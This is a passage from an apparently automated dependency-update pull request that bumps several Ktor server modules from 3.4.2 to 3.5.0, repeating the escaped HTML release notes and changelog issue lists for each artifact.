notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-core-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-core-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ktorio/ktor/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-metrics-micrometer` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-metrics-micrometer's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-metrics-micrometer's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ktorio/ktor/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-call-logging-jvm` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-call-logging-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-call-logging-jvm's 